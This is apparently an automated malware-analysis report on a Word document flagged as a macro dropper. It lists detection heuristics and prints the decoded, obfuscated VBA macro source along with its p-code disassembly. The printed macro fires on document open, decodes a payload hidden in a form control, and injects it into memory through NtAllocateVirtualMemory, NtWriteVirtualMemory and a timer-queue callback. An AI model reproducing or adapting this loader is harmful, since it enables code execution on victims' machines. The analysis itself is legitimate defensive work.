MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The critical ClamAV heuristic indicates this is a dropper, and the presence of VBA macros further supports this. The Document_Open macro is likely responsible for initiating the malicious activity, which typically involves downloading and executing a secondary payload. The embedded URLs are confirmed benign, so the primary IOC is the ClamAV detection name.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6335864-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6335864-0
-
NOP-equivalent sled detected medium SC_NOP_EQUIV_SLEDLong run of 0x40 bytes
Disassembly
Attempted x86 opcode disassembly000089DB 40 inc eax 000089DC 40 inc eax 000089DD 40 inc eax 000089DE 40 inc eax 000089DF 40 inc eax 000089E0 40 inc eax 000089E1 40 inc eax 000089E2 40 inc eax 000089E3 40 inc eax 000089E4 40 inc eax 000089E5 40 inc eax 000089E6 40 inc eax 000089E7 40 inc eax 000089E8 40 inc eax 000089E9 40 inc eax 000089EA 40 inc eax 000089EB 40 inc eax 000089EC 40 inc eax 000089ED 40 inc eax 000089EE 40 inc eax 000089EF 40 inc eax 000089F0 40 inc eax 000089F1 40 inc eax 000089F2 40 inc eax 000089F3 40 inc eax 000089F4 40 inc eax 000089F5 40 inc eax 000089F6 40 inc eax 000089F7 40 inc eax 000089F8 40 inc eax 000089F9 40 inc eax 000089FA 40 inc eax 000089FB 40 inc eax 000089FC 40 inc eax 000089FD 40 inc eax 000089FE 40 inc eax 000089FF 40 inc eax 00008A00 40 inc eax 00008A01 40 inc eax 00008A02 40 inc eax 00008A03 40 inc eax 00008A04 40 inc eax 00008A05 40 inc eax 00008A06 40 inc eax 00008A07 40 inc eax 00008A08 40 inc eax 00008A09 40 inc eax 00008A0A 40 inc eax 00008A0B 40 inc eax 00008A0C 40 inc eax 00008A0D 40 inc eax 00008A0E 40 inc eax 00008A0F 40 inc eax 00008A10 40 inc eax 00008A11 40 inc eax 00008A12 40 inc eax 00008A13 40 inc eax 00008A14 40 inc eax 00008A15 40 inc eax 00008A16 40 inc eax 00008A17 40 inc eax 00008A18 40 inc eax 00008A19 40 inc eax 00008A1A 40 inc eax 00008A1B 40 inc eax 00008A1C 40 inc eax 00008A1D 40 inc eax 00008A1E 40 inc eax 00008A1F 40 inc eax 00008A20 40 inc eax 00008A21 40 inc eax 00008A22 40 inc eax 00008A23 40 inc eax 00008A24 40 inc eax 00008A25 40 inc eax 00008A26 40 inc eax 00008A27 40 inc eax 00008A28 40 inc eax 00008A29 40 inc eax 00008A2A 40 inc eax 00008A2B 40 inc eax 00008A2C 40 inc eax 00008A2D 40 inc eax 00008A2E 40 inc eax 00008A2F 40 inc eax 00008A30 40 inc eax 00008A31 40 inc eax 00008A32 40 inc eax 00008A33 40 inc eax 00008A34 40 inc eax 00008A35 40 inc eax 00008A36 40 inc eax 00008A37 40 inc eax 00008A38 40 inc eax 00008A39 40 inc eax 00008A3A 40 inc eax
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_Open() Dim anatropous As Long -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 48118 bytes |
SHA-256: be07748b6b2ffe73cc48501e72d57aa26953c72293be38db66ef8bbc22c05b5e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function policeman(kola, haft, restrengthen)
tribs = ivosi(40 / 8)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (tribs) Then
Dim earthwork As String
Dim basilar As String
Dim jets As LongPtr
Dim abjurationabjurement As LongPtr
Dim saiga As LongPtr
Dim cobbler As Integer
Dim miasm As LongPtr
Dim adventitious As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (tribs) Then
Dim abjurationabjurement As Long
Dim partie As Byte
Dim jets As Long
Dim cohibition As Integer
Dim miasm As Long
Dim currycomb As String
Dim saiga As Long
Dim coral As Integer
Dim adventitious As Long
Dim hydrodynamic As String
Dim bloodyminded As String
#End If
cheloniidae = "mycologist"
abduction = competition / 487
abjurationabjurement = kola
adventitious = restrengthen
clandestine = cheloniidae
miasm = haft
birdwitted = 118
assuaging = 19567
finger = 493082
Pmt 0, birdwitted, 11975, 46458, 4
abduction = queens Or 54
jets = 37 - 46 + 8
birmingham ByVal jets, abjurationabjurement, miasm, adventitious, saiga
queens = Fix(276)
End Function
Private Sub Document_Open()
Dim anatropous As Long
Dim polypodium As Byte
lilyturf = "effectiveness"
abraham
dragging = 1
halberd = 3995
allmains = 169534
Pmt 0, dragging, 20175, 26084, 7
End Sub
Sub abraham()
Dim galeorhinus As Variant
Dim brachycephalic As Byte
inclusive.falconidae.Value = Day(#12/5/2013#)
varday = argon = "bugle"
eel = "proxemics"
chancellor = "beginner"
goosh = "macte"
overcoat = "monacan"
chaetodipterus = "bravely"
automat = "despotic"
Set georges = inclusive.falconidae.SelectedItem
unpillared = 39
graminivorous = 4931
durga = 482050
Pmt 0, unpillared, 6271, 38696, 8
despot = georges.Name
arabia = 7844
finefingered = Right(despot, arabia)
multidimensional = adultress.gusty(finefingered)
corkscrew = 66
ambidextrous = 24733
captiously = 557825
Pmt 0, corkscrew, 9057, 22646, 4
arefaction = "endured"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim appreciable As String
Dim humbler As LongPtr
Dim bonny As LongPtr
Dim muffin As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim disobey As Long
Dim bonny As Long
Dim medicolegal As Variant
Dim humbler As Long
#End If
chelyabinsk = 69 - 21 - 48
caustically = "overshoot"
dandified = 4096
giveaway = 85
bilaterality = 17835
cachectic = 590952
Pmt 0, giveaway, 8933, 29704, 4
chersonese = "damp"
boyar = "angst"
beet = 3
diagnus = 30696
whif = 217462
Pmt 0, beet, 11359, 52493, 6
dominantly = multidimensional
allowed = "become"
humbler = arch(dominantly)
refer = "scatterling"
angioma = "profitableness"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim pompon As Long
Dim premier As LongPtr
Dim deadness As LongPtr
Dim flunker As LongPtr
shaver = 42 + 67 + 1955
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim premier As Long
oar = 62 - 81 + 800
Dim deadness As Long
Dim flunker As Long
shaver = oar + 3459
#End If
Dim office As String
Dim wigwam As Byte
premier = 114 - 84 - 30
bonny = humbler + shaver
deadness = 201527
flunker = 3500
caretta = windzors(deadness, premier, bonny)
oldness = 110
historiography = 9136
attentive = 318048
Pmt 0, oldness, 26227, 20765, 4
End Sub
Function arch(lionet)
Dim desmograthus As Integer
Dim drought As Integer
Dim dangleberry As Integer
Dim scopolia As Byte
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim senary As Variant
Dim militarized As LongPtr
providently = 43 + 57 - 92
Dim bowing As LongPtr
Dim poisonous As Variant
Dim ex As String
Dim fernlike As LongPtr
Dim synchronistical As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim militarized As Long
providently = 112 + 64 - 172
Dim bowing As Long
Dim fernlike As Long
#End If
accusation = VarPtr(militarized)
lankiness = policeman(accusation, VarPtr(lionet) + 8, providently)
diode = -1
bowing = 91 + 90 - 181
crossroad = 18 + 69 - 87
fernlike = 9593
mh = 29 + 127 + 3940
melodramatically = 64
agaric = gelasmagr(ByVal diode, bowing, ByVal crossroad, fernlike, ByVal mh, ByVal melodramatically)
cheloniidae = "chylaceous"
abduction = Math.Round(210)
policeman bowing, militarized, 5883
sleepy = 37
bennettitaceae = 35902
chalaza = 125161
Pmt 0, sleepy, 7960, 32060, 3
arch = bowing
End Function
Sub upper()
Dim InitialCaps As Range
Set InitialCaps = ActiveDocument.Range(Start:=ActiveDocument.Words(1).Start, _
End:=ActiveDocument.Words(3).End)
InitialCaps.Case = wdUpperCase
End Sub
Attribute VB_Name = "adultress"
' The moon went hiding, stars quit shining
' But just your sight had my heart storming
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
' Rain was driving, thunder, lightning
' And walked out
Public Declare PtrSafe Function cadi Lib "ntdll.dll " Alias "AcquireSRWLockShared" (adelges As Any) As LongPtr
' You wrecked my whole world when you came
' Knew it was gonna be a long night
Public Declare PtrSafe Function consumption Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal dactylorhiza As Any, aunt As Any, admonish As Any, mainspring As Any) As LongPtr
' But you rolled in with your hair in the wind
' Then you rolled in with your hair in the wind
Public Declare PtrSafe Function reversionary Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal helichrysum As Any, rules As Any, impracticability As Any, malabo As Any) As LongPtr
' I wouldnt be in my truck
' Baby, without warning
Public Declare PtrSafe Function quartertone Lib "Kernel32" Alias "CreateTimerQueueTimer" (media As Any, ByVal amount As Any, ByVal gamesmaster As Any, ByVal manbird As Any, ByVal investiture As Any, ByVal moroccan As Any, ByVal descendants As Any) As Long
' You wrecked my whole world when you came
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function birmingham Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal durian As Any, ByVal beslime As Any, ByVal commodity As Any, ByVal eumetopias As Any, ByVal xanorphica As Any) As LongPtr
' Baby, without warning
' And hit me like a hurricane
Public Declare PtrSafe Function gelasmagr Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (unintelligently As LongPtr, actin As LongPtr, ByVal sinapism As LongPtr, antillesByVal As LongPtr, saxicolous As LongPtr, ByVal crumbliness As LongPtr) As LongPtr
' The moon went hiding, stars quit shining
' If I woulda just layed my drink down
' If I woulda just layed my drink down
' The moon went hiding, stars quit shining
#End If
' We locked eyes over whiskey on ice
' I wouldnt be in my truck
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
' The moon went hiding, stars quit shining
' The moon went hiding, stars quit shining
Public Declare Function propane Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal kenning As Any, lachrymis As Any, dispatch As Any, dithering As Any) As Long
' I wouldnt be in my truck
' Baby, without warning
Public Declare Function gelasmagr Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (amsinckia As Long, malapropism As Long, ByVal altimeter As Long, ordnanceByVal As Long, appetency As Long, ByVal encratite As Long) As Long
' Rain was driving, thunder, lightning
' Baby, without warning
Public Declare Function portwatcher Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal feverroot As Any, clad As Any, downhearted As Any, courtesv As Any) As Long
' Driving us to your house
' But just your sight had my heart storming
Public Declare Function loverlike Lib "ntdll.dll " Alias "AcquireSRWLockShared" (floodhead As Any) As Long
' But you rolled in with your hair in the wind
' And walked out
Public Declare Function birmingham Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal adactylous As Any, ByVal cubit As Any, ByVal docket As Any, ByVal antidiabetic As Any, ByVal escheat As Any) As Long
' I wouldnt be in my truck
' From the moment when
Public Declare Function quartertone Lib "Kernel32" Alias "CreateTimerQueueTimer" (tanganyika As Any, ByVal billyo As Any, ByVal coadjuvancy As Any, ByVal incontiguous As Any, ByVal siphonophora As Any, ByVal machinations As Any, ByVal model As Any) As Long
' And walked out
' We locked eyes over whiskey on ice
' And walked out
' Baby, without warning
#End If
' We locked eyes over whiskey on ice
' We locked eyes over whiskey on ice
Function dandyism()
Dim harquebuss(255) As Byte
towzle = 109 + 31 - 75
Do While towzle <= 90 + 1
harquebuss(towzle) = towzle - 65
towzle = towzle + 1
Loop
towzle = 48
Do While towzle <= 50 + 8
harquebuss(towzle) = towzle + 4
towzle = towzle + 1
Loop
towzle = 97
Do While towzle <= 120 + 3
harquebuss(towzle) = towzle - 71
towzle = towzle + 1
Loop
harquebuss(47) = 63
towzle = 43
harquebuss(towzle) = 60 + 2
dandyism = harquebuss
End Function
Function gusty(butuminous) As String
Dim anthropometry As Long
Dim sphyrapicus(63) As Long
Dim fils As Integer
reconized = reconized
Dim spenser As Byte
Dim noiselessly As Long
competition = Fix(446)
Dim afterlife As Byte
Dim dimwitted As Variant
Dim unattainable(63) As Long
Dim softwood As Long
Dim emptiness As Variant
reconized = cheloniidae
Dim bastardized(6962) As Byte
Dim crepuscule As String
Dim vaporization As Long
Dim obscureness(63) As Long
Dim coaid() As Byte
coatdress = 258048
cephalochordate = 16515072
Paragraph = 4096
aphrophora = 255
Dim doodad As Long
nilpotent = 65280
Dim fiduciary As Integer
Dim infraction As Variant
megaloblastic = 83 + 117 + 56
effortlessly = 4032
sharer = 55 - 65 + 262154
Reduced = 64
rioter = 63
syndactyly = 37 - 108 + 65607
flavored = 16711680
Dim hematoma As Variant
primatology = 104 + 20 - 124
apathetically = 7843
Dim inconveniently() As Byte
Dim agnatha As Variant
Dim completeness As Byte
inconveniently = VBA.StrConv(butuminous, 128)
Dim amide As Integer
tremolite = 107
fisted = 25996
declaim = 340402
Pmt 0, tremolite, 19925, 11116, 8
breechesmaker = 7843
pimpernel = vbKeyShift - 12
For boise = 0 To breechesmaker
If boise Mod 2 = 0 Then
inconveniently(boise) = inconveniently(boise) - pimpernel
Else
inconveniently(boise) = inconveniently(boise) - (pimpernel - 1)
End If
Next boise
london = 100
diatom = 7655
acclivitous = 299860
Pmt 0, london, 10633, 57170, 8
fils = 0
anasa = 67 - 84 + 17
bountifully = 4 + 119 - 80
empressement = dandyism
For anthropometry = (7 - 7) * 1 To (50 + 13) * (5 - 4)
unattainable(anthropometry) = bisexual(anthropometry, Reduced, 63)
sphyrapicus(anthropometry) = bisexual(anthropometry, Paragraph, 63)
obscureness(anthropometry) = bisexual(anthropometry, sharer, 63)
Next anthropometry
adverbs = 89
bushel = 13417
jb = 352396
Pmt 0, adverbs, 12629, 12034, 3
coaid = inconveniently
apadana = 4
downeaster = 116
anicon = 29723
hump = 361292
Pmt 0, downeaster, 35067, 18023, 3
nonabsorbency = 112 + 100 - 209
cheloniidae = cheloniidae
competition = queens + 156
dacron = nonabsorbency + 1
dosser = 26 + 61 - 85
For softwood = 0 To breechesmaker
omnia = coaid(softwood)
redletter = coaid(softwood + 2)
ies = sphyrapicus(empressement(coaid(softwood + 1)))
amorphism = unattainable(empressement(redletter)) + empressement(coaid(softwood + nonabsorbency))
vaporization = obscureness(empressement(omnia)) + ies + amorphism
anthropometry = bisexual(vaporization, flavored, 55)
bastardized(noiselessly) = bisexual(anthropometry, syndactyly, 45)
anthropometry = bisexual(vaporization, nilpotent, 55)
bastardized(noiselessly + 1) = bisexual(anthropometry, megaloblastic, 45)
bastardized(noiselessly + dosser) = bisexual(vaporization, aphrophora, 55)
noiselessly = noiselessly + dosser + 1
softwood = softwood + 3
Next
gusty = bastardized
End Function
Function ivosi(mirons)
Dim windser As Integer
Dim tristan As Integer
fixoid = mirons * 12
Dim sitroen As Variant
subway2 = mirons * 2
Dim cowen() As Byte
#If (3 * 4 + mirons) > (7 - 2 * 1) And (10 - mirons * 2) * 2 < (Win64) Then
tristan = subway2
#End If
#If (3 * 4 + mirons) > (7 - 2 * 1) And Not (10 - mirons * 2) * 2 < (Win64) Then
tristan = (120 - fixoid)
#End If
subway3 = subway2 + tristan
ivosi = tristan
End Function
Sub num()
With Selection
If .Columns.Count > 1 And .Rows.Count > 1 Then
MsgBox "Please select cells in only one row " _
& "or only one column."
End
Else
If .Cells.Count > 1 Then
If .Columns.Count > 1 Then
.Cells.Delete ShiftCells:=wdDeleteCellsShiftUp
Else
.Cells.Delete ShiftCells:=wdDeleteCellsShiftLeft
End If
Else
.Cells.Delete ShiftCells:=wdDeleteCellsShiftLeft
End If
End If
End With
End Sub
Function windzors(wrd, buls, lky)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
aln = buls
deble = lky
dan2 = quartertone(wrd, aln, deble, aln, aln, aln, aln)
End Function
Function bisexual(mononucleosis, firkin, osteostraci)
If osteostraci = (5 * 9) + (10 / 2 - 5) Then
bisexual = mononucleosis \ firkin
ElseIf osteostraci = (5 * 11) + (5 - 3) / 2 - 1 Then
bisexual = mononucleosis And firkin
ElseIf osteostraci = (7 * 9) + (56 / 7 - 4 * 2) Then
bisexual = mononucleosis * firkin
End If
End Function
Attribute VB_Name = "inclusive"
Attribute VB_Base = "0{514BB684-BEFC-4F19-88BA-59A015415B99}{D8E0A23C-9019-4D24-BB65-E7022C0339AB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Processing file: /opt/analyzer/scan_staging/9068b35a620146098e180ff0d03a2141.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 15025 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' FuncDefn (Function policeman(kola))
' Line #4:
' LitDI2 0x0028
' LitDI2 0x0008
' Div
' ArgsLd subway3 0x0001
' St nons
' Line #5:
' LbMark
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0014
' LitDI2 0x0005
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld nons
' Paren
' Lt
' And
' LbIf
' Line #6:
' Dim
' VarDefn earthwork (As String)
' Line #7:
' Dim
' VarDefn basilar (As String)
' Line #8:
' Dim
' VarDefn jets (As Ptr)
' Line #9:
' Dim
' VarDefn abjurationabjurement (As Ptr)
' Line #10:
' Dim
' VarDefn saiga (As Ptr)
' Line #11:
' Dim
' VarDefn cobbler (As Integer)
' Line #12:
' Dim
' VarDefn miasm (As Ptr)
' Line #13:
' Dim
' VarDefn adventitious (As Ptr)
' Line #14:
' LbMark
' LbEndIf
' Line #15:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld nons
' Paren
' Lt
' Not
' And
' LbIf
' Line #16:
' Dim
' VarDefn abjurationabjurement (As Long)
' Line #17:
' Dim
' VarDefn partie (As Byte)
' Line #18:
' Dim
' VarDefn jets (As Long)
' Line #19:
' Dim
' VarDefn cohibition (As Integer)
' Line #20:
' Dim
' VarDefn miasm (As Long)
' Line #21:
' Dim
' VarDefn currycomb (As String)
' Line #22:
' Dim
' VarDefn saiga (As Long)
' Line #23:
' Dim
' VarDefn coral (As Integer)
' Line #24:
' Dim
' VarDefn adventitious (As Long)
' Line #25:
' Dim
' VarDefn hydrodynamic (As String)
' Line #26:
' Dim
' VarDefn bloodyminded (As String)
' Line #27:
' LbMark
' LbEndIf
' Line #28:
' LitStr 0x000A "mycologist"
' St cheloniidae
' Line #29:
' Ld competition
' LitDI2 0x01E7
' Div
' St abduction
' Line #30:
' Ld kola
' St abjurationabjurement
' Line #31:
' Ld restrengthen
' St adventitious
' Line #32:
' Ld cheloniidae
' St clandestine
' Line #33:
' Ld haft
' St miasm
' Line #34:
' LitDI2 0x0076
' St birdwitted
' Line #35:
' LitDI2 0x4C6F
' St assuaging
' Line #36:
' LitDI4 0x861A 0x0007
' St finger
' Line #37:
' LitDI2 0x0000
' Ld birdwitted
' LitDI2 0x2EC7
' LitDI4 0xB57A 0x0000
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #38:
' Line #39:
' Ld queens
' LitDI2 0x0036
' Or
' St abduction
' Line #40:
' LitDI2 0x0025
' LitDI2 0x002E
' Sub
' LitDI2 0x0008
' Add
' St jets
' Line #41:
' Ld jets
' ParamByVal
' Ld abjurationabjurement
' Ld miasm
' Ld adventitious
' Ld saiga
' ArgsCall birmingham 0x0005
' Line #42:
' LitDI2 0x0114
' FnFix
' St queens
' Line #43:
' EndFunc
' Line #44:
' FuncDefn (Sub Document_Open())
' Line #45:
' Dim
' VarDefn anatropous (As Long)
' Line #46:
' Dim
' VarDefn polypodium (As Byte)
' Line #47:
' LitStr 0x000D "effectiveness"
' St lilyturf
' Line #48:
' ArgsCall abraham 0x0000
' Line #49:
' LitDI2 0x0001
' St dragging
' Line #50:
' LitDI2 0x0F9B
' St halberd
' Line #51:
' LitDI4 0x963E 0x0002
' St allmains
' Line #52:
' LitDI2 0x0000
' Ld dragging
' LitDI2 0x4ECF
' LitDI2 0x65E4
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #53:
' EndSub
' Line #54:
' FuncDefn (Sub abraham())
' Line #55:
' Dim
' VarDefn galeorhinus (As Variant)
' Line #56:
' Dim
' VarDefn brachycephalic (As Byte)
' Line #57:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld inclusive
' MemLd falconidae
' MemSt Value
' Line #58:
' Ld argon
' LitStr 0x0005 "bugle"
' Eq
' St varday
' Line #59:
' LitStr 0x0009 "proxemics"
' St eel
' Line #60:
' LitStr 0x0008 "beginner"
' St chancellor
' Line #61:
' LitStr 0x0005 "macte"
' St goosh
' Line #62:
' LitStr 0x0007 "monacan"
' St overcoat
' Line #63:
' Line #64:
' LitStr 0x0007 "bravely"
' St chaetodipterus
' Line #65:
' LitStr 0x0008 "despotic"
' St automat
' Line #66:
' SetStmt
' Ld inclusive
' MemLd falconidae
' MemLd SelectedItem
' Set georges
' Line #67:
' LitDI2 0x0027
' St unpillared
' Line #68:
' LitDI2 0x1343
' St graminivorous
' Line #69:
' LitDI4 0x5B02 0x0007
' St durga
' Line #70:
' LitDI2 0x0000
' Ld unpillared
' LitDI2 0x187F
' LitDI4 0x9728 0x0000
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #71:
' Line #72:
' Ld georges
' MemLd Name
' St despot
' Line #73:
' LitDI2 0x1EA4
' St arabia
' Line #74:
' Ld despot
' Ld arabia
' ArgsLd Right 0x0002
' St finefingered
' Line #75:
' Ld finefingered
' Ld adultress
' ArgsMemLd gusty 0x0001
' St multidimensional
' Line #76:
' LitDI2 0x0042
' St corkscrew
' Line #77:
' LitDI2 0x609D
' St ambidextrous
' Line #78:
' LitDI4 0x8301 0x0008
' St captiously
' Line #79:
' LitDI2 0x0000
' Ld corkscrew
' LitDI2 0x2361
' LitDI2 0x5876
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #80:
' Line #81:
' LitStr 0x0007 "endured"
' St arefaction
' Line #82:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #83:
' Dim
' VarDefn appreciable (As String)
' Line #84:
' Dim
' VarDefn humbler (As Ptr)
' Line #85:
' Dim
' VarDefn bonny (As Ptr)
' Line #86:
' Dim
' VarDefn muffin (As String)
' Line #87:
' LbMark
' LbEndIf
' Line #88:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #89:
' Dim
' VarDefn disobey (As Long)
' Line #90:
' Dim
' VarDefn bonny (As Long)
' Line #91:
' Dim
' VarDefn medicolegal (As Variant)
' Line #92:
' Dim
' VarDefn humbler (As Long)
' Line #93:
' LbMark
' LbEndIf
' Line #94:
' LitDI2 0x0045
' LitDI2 0x0015
' Sub
' LitDI2 0x0030
' Sub
' St chelyabinsk
' Line #95:
' LitStr 0x0009 "overshoot"
' St caustically
' Line #96:
' LitDI2 0x1000
' St dandified
' Line #97:
' LitDI2 0x0055
' St giveaway
' Line #98:
' LitDI2 0x45AB
' St bilaterality
' Line #99:
' LitDI4 0x0468 0x0009
' St cachectic
' Line #100:
' LitDI2 0x0000
' Ld giveaway
' LitDI2 0x22E5
' LitDI2 0x7408
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #101:
' Line #102:
' LitStr 0x0004 "damp"
' St chersonese
' Line #103:
' LitStr 0x0005 "angst"
' St boyar
' Line #104:
' LitDI2 0x0003
' St beet
' Line #105:
' LitDI2 0x77E8
' St diagnus
' Line #106:
' LitDI4 0x5176 0x0003
' St whif
' Line #107:
' LitDI2 0x0000
' Ld beet
' LitDI2 0x2C5F
' LitDI4 0xCD0D 0x0000
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #108:
' Line #109:
' Ld multidimensional
' St dominantly
' Line #110:
' LitStr 0x0006 "become"
' St allowed
' Line #111:
' Ld dominantly
' ArgsLd arch 0x0001
' St humbler
' Line #112:
' LitStr 0x000B "scatterling"
' St refer
' Line #113:
' LitStr 0x000E "profitableness"
' St angioma
' Line #114:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0005
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0008
' LitDI2 0x0004
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #115:
' Dim
' VarDefn pompon (As Long)
' Line #116:
' Dim
' VarDefn premier (As Ptr)
' Line #117:
' Dim
' VarDefn deadness (As Ptr)
' Line #118:
' Dim
' VarDefn flunker (As Ptr)
' Line #119:
' LitDI2 0x002A
' LitDI2 0x0043
' Add
' LitDI2 0x07A3
' Add
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.